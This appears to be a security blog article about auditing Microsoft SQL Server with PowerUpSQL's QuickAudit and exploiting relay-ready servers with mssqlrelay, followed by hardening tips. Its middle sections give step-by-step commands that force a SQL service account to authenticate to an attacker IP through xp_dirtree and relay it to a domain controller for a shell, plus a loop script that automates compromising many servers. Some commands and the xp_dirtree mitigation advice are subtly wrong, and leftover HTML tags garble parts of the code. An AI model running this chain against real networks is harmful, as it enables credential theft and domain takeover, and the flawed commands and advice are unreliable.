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Introduction
Microsoft SQL Server (MSSQL) is a cornerstone of many enterprise environments, but its default configurations and legacy features often introduce critical security gaps. Attackers routinely exploit misconfigured instances—such as unencrypted connections, default named instances, and enabled extended stored procedures like xp_dirtree—to escalate privileges, move laterally, and compromise entire domains. Recent enhancements to the popular PowerShell toolkit PowerUpSQL, inspired by Compass Security’s mssqlrelay, now offer penetration testers and red teamers an even more streamlined way to detect and exploit these weaknesses. This article dives deep into the latest features, provides step‑by‑step auditing and exploitation guides, and outlines robust mitigation strategies.
Learning Objectives
- Identify common MSSQL misconfigurations, including missing encryption, default instances, and dynamic discovery exposure.
- Master the use of PowerUpSQL’s new `QuickAudit` switch to rapidly assess MSSQL environments.
- Understand and execute SMB relay attacks against MSSQL servers using the mssqlrelay tool.
1. Understanding the MSSQL Attack Surface
MSSQL instances are notoriously misconfigured in large networks. Database administrators often overlook encryption requirements, rely on shared service accounts, or leave dangerous extended stored procedures enabled. Daniel Scheidt’s recent contributions to PowerUpSQL (Pull Request 87) introduce automated checks for:
- Encryption enforcement – whether the server requires encrypted connections.
- Default instances – listening on standard ports (1433) without restriction.
- Dynamic instance discovery – via SQL Server Browser service, which can leak instance information.
- xp_ stored procedure availability – such as
xp_dirtree, which can force outgoing SMB authentication. - Shared service accounts – a major vector for lateral movement.
These checks are now packaged into a convenient `QuickAudit` switch, making initial reconnaissance faster and more focused.
2. Setting Up the Tools
To follow along, you’ll need both PowerUpSQL and mssqlrelay installed on your assessment machine.
PowerUpSQL (PowerShell)
Install from PowerShell Gallery Install-Module -Name PowerUpSQL -Scope CurrentUser -Force Import-Module PowerUpSQL
mssqlrelay (Python)
git clone https://github.com/CompassSecurity/mssqlrelay.git cd mssqlrelay pip install -r requirements.txt
Ensure you have a machine with network access to the target MSSQL servers and that outbound SMB (port 445) is allowed for relay attacks.
3. Rapid Auditing with PowerUpSQL’s QuickAudit
The new `QuickAudit` parameter in `Invoke-SQLAudit` runs a battery of tests to surface low‑hanging fruit.
Step 1: Discover local SQL Server instances
Get-SQLInstanceLocal | Out-GridView
Step 2: Perform a quick audit
$results = Get-SQLInstanceLocal | Invoke-SQLAudit -QuickAudit $results | Export-Excel -Path "SQL_Audit_Report.xlsx"
The audit checks include:
- Whether the instance requires encryption (
EncryptionNotRequired). - If `xp_dirtree` is enabled for the current user.
- Whether dynamic discovery is enabled (
SQLServerBrowserrunning). - Shared service account usage across multiple instances.
The exported Excel report gives a clear overview of which servers are most vulnerable.
4. Pinpointing Relay‑Ready Servers
A critical finding from the audit is when a server does not enforce encryption and the current user has access to xp_dirtree. This combination allows an attacker to force the server to authenticate to an attacker‑controlled SMB share, capturing the service account’s NTLM hash.
To specifically hunt for such servers, you can filter the audit results:
$vulnServers = $results | Where-Object {
$<em>.EncryptionNotRequired -eq $true -and
$</em>.XpDirtreeAvailable -eq $true
}
$vulnServers | Format-Table ComputerName, InstanceName
If shared service accounts are also identified, the impact multiplies—compromising one server may grant access to many others.
5. Exploiting with mssqlrelay
mssqlrelay performs an SMB relay attack against MSSQL servers. It sets up a malicious SMB server, tricks the target SQL Server into connecting to it (via xp_dirtree), and relays the captured authentication to another target (e.g., a domain controller).
Step 1: Start the relay listener
On your attacker machine, run:
python mssqlrelay.py --listener-ip 192.168.1.100 --relay-target 192.168.1.10
– --listener-ip: Your IP where the SMB server runs.
– --relay-target: The machine you want to authenticate to (e.g., a file server or domain controller).
Step 2: Trigger authentication from the vulnerable SQL Server
Using PowerUpSQL, execute `xp_dirtree` against your listener:
Invoke-SQLOSCmd -Instance "vuln-sql-01" -Command "xp_dirtree '\192.168.1.100\share'" -Verbose
The SQL Server’s service account will attempt to access the share, and mssqlrelay will capture the NTLM authentication and relay it to the target.
Step 3: Achieve code execution
If the relayed account has local admin rights on the relay target, you can use additional modules (e.g., psexec) to gain a shell. The mssqlrelay output will indicate success and optionally pass the authenticated session to tools like smbexec.py.
6. Hardening MSSQL Against Relay Attacks
Mitigation requires a layered approach:
- Enforce encryption on all SQL Server connections. In SQL Server Configuration Manager, set “Force Encryption” to Yes and install a valid certificate.
- Disable unnecessary stored procedures like `xp_dirtree` if not absolutely required.
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE; -- Repeat for xp_dirtree, xp_subdirs, etc.
- Use dedicated service accounts with minimal privileges. Avoid domain admin or high‑privileged accounts.
- Block outbound SMB (port 445) from SQL Servers to the internet and to untrusted networks.
- Regularly audit using PowerUpSQL to catch regressions.
7. Automating the Full Attack Chain
For professional assessments, combine discovery and exploitation in a single script:
Audit all reachable SQL instances
$allInstances = Get-SQLInstanceDomain | Invoke-SQLAudit -QuickAudit
$vuln = $allInstances | Where-Object {$<em>.EncryptionNotRequired -eq $true -and $</em>.XpDirtreeAvailable -eq $true}
foreach ($server in $vuln) {
Write-Host "Exploiting $($server.InstanceName) with relay to DC"
Launch mssqlrelay in background (simplified example)
Start-Process -NoNewWindow -FilePath "python" -ArgumentList "mssqlrelay.py --listener-ip 192.168.1.100 --relay-target 192.168.1.10"
Start-Sleep -Seconds 2
Trigger authentication
Invoke-SQLOSCmd -Instance $server.InstanceName -Command "xp_dirtree '\192.168.1.100\test'"
Start-Sleep -Seconds 10
Check for successful relay (implement logic as needed)
}
This kind of automation can rapidly identify and compromise multiple servers in a large environment.
What Undercode Say
- Key Takeaway 1: Automated auditing with PowerUpSQL’s `QuickAudit` drastically reduces the time needed to uncover dangerous MSSQL misconfigurations like missing encryption and exposed xp_dirtree.
- Key Takeaway 2: Relay attacks remain a potent vector; when combined with shared service accounts, a single vulnerable SQL Server can lead to domain‑wide compromise.
- Analysis: The integration of mssqlrelay’s techniques into PowerUpSQL highlights a growing trend: toolchains are becoming more modular and focused on specific attack primitives. Defenders must continuously monitor configuration drift and treat every database server as a potential pivot point. As cloud‑hosted SQL instances proliferate, similar auditing principles apply—always check for encryption settings and unnecessary features.
Prediction
In the near future, we will see an increase in cross‑protocol relay attacks, where authentication from one service (like MSSQL) is relayed to another (like LDAP or SMB). Tooling will evolve to offer one‑stop discovery, exploitation, and reporting. Cloud environments will not be immune—misconfigured Azure SQL and Amazon RDS instances will become prime targets, forcing vendors to provide built‑in security benchmarks and automated remediation. The arms race between attackers and defenders will intensify, making proactive auditing with tools like PowerUpSQL not just a best practice, but a necessity.
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IT/Security Reporter URL:
Reported By: Daniel Scheidt – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
